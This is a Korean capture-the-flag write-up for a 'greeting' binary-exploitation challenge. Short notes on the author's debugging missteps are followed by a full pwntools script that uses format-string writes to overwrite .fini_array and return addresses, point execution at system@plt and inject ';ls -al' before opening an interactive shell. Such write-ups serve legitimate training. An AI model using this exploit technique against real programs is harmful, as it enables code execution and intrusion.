a.pygreetinggreeting_p
쉬운 문제인데 삽질한 문제
1. 한번 감는 것은 쉽다. fini array 거기를 덮어쓰면 된다. 이때 스택을 읽는다. (시스템도 가능한데 시스템은 시스템에서 주니까 패스)
2. 두번째도 ret를 찾아서 덮었는 것은 좋은데 버퍼가 작아서 한번에 2개를 덮으쓰면 맨 뒤 바이트가 들어가지 않는다. 어찌할지 고민하다가 동일한 주소를 다음 스택에 덮어쓰기로 함.
3. 여기까지 하고 삽질의 극치를 보임. 글쎄 plt 를 쓰고 esp에다가 주소값을 넣고 테스트를 진행함. 근데 문제는 스택이 어떨때는 되다가 어쩔때는 안됨... 삽질 시작~~~
4. 포기하고 다음날 다시보니... plt 쓰고 esp+4에다가 써야 하는 거였음, 당연한 거지만 몇달 쉬니깐 까먹음... ㅋㅋㅋㅋ (우낌) esp는 ret고 참나 다음날 보니 바로 보임
5. 로칼에서는 바로 풀었는데. 리모트에서는 다시 삽질 시작. 이상하게 스택이 깨짐. 좀 고민하닥. 2번 감을때 strlen의 got를 system으로 변경해서 해결.
6. 문제의 유형이 다 나왔던 문제인데 이런 문제로 삽질하면 안됨
from pwn import *
def upt4(p,k):
fini_array_l = 0x08049934
size=0x85ed-29-len("Nice to meet you, ")
# Step 1 fini array over write & info leak
payload = 'JJ'
payload += p32(fini_array_l)
payload += "[leak]stack: 0x%2$08x"
payload += "%"+str(size)+"c"
payload += "%"+str(k)+"$hn"
payload += "B"*(0x30-len(payload))+'\n'
#print hexdump(payload)
f=open('in.dat','wb')
f.write(payload)
f.close()
p.send(payload)
garbage = p.recvuntil("[leak]stack: ")
#print garbage
leak_stack = int(p.recv(10),16)
print "[leak]stack = %x" %(leak_stack)
print k,"=====",p.recv()
return leak_stack
def upt5(p,k,t):
esp0_h = 0x0804
esp0_l = 0x85ed #main
#esp0_l = 0x8608
#esp0_l = 0x8742
#esp0_l = 0x8772
#esp0_l = 0x8779
#esp0_l = 0x8480 #puts
#stage 2
esp0 = t #ret : 0xffffd06c
size1=esp0_h-18-len("Nice to meet you, ")
size2=esp0_l-esp0_h
# Step 1 fini array over write & info leak
payload = 'JJ'
payload += p32(esp0+2)
payload += p32(esp0)
payload += p32(esp0+4+2)
payload += p32(esp0+4)
payload += "%"+str(size1)+"c"+"%"+str(k)+"$hn"
payload += "%"+str(k+2)+"$hn"
payload += "%"+str(size2)+"c"+"%"+str(k+1)+"$hn"
payload += "%"+str(k+3)+"$hn"
payload += '\n'
#print hexdump(payload)
p.send(payload)
def upt_any(p,k,t,value):
esp0_h = value>>16
esp0_l = value&0xffff
if esp0_l > esp0_h:
print "low"
off1=2
off2=0
size1=esp0_h-10-len("Nice to meet you, ")
size2=esp0_l-esp0_h
else:
print "high"
off1=0
off2=2
size1=esp0_l-10-len("Nice to meet you, ")
size2=esp0_h-esp0_l
esp0 = t
payload = 'JJ'
payload += p32(esp0+off1)
payload += p32(esp0+off2)
payload += "%"+str(size1)+"c"+"%"+str(k)+"$hn"
payload += "%"+str(size2)+"c"+"%"+str(k+1)+"$hn"
payload += "AAAAAAAAAAAAAAAAA;ls -al"
payload += "C"*(0x30-len(payload))
payload += '\n'
#print hexdump(payload)
p.send(payload)
def prt(i):
p=process('./greeting')
#p=remote('pwn2.chal.ctf.westerns.tokyo', 16317)
t1=upt4(p,12)
esp = t1 - 0xa4
t1 = t1 - 0x100 + 28 * 4
#==================
t = t1
upt5(p,12,t)
t = t1+8
upt5(p,12,t)
t = t1+16
upt_any(p,12,t,0x08048490) #system plt
upt_any(p,12,(esp+40),0xbabecaf1) #??
upt_any(p,12,(esp+44),(esp+8)) #??
garbage = p.recvuntil("not found")
print "not found"
print 'esp:',hex(esp+4)
p.interactive()
t = 0xffffd16c
t = 0xffffd06c
prt(1)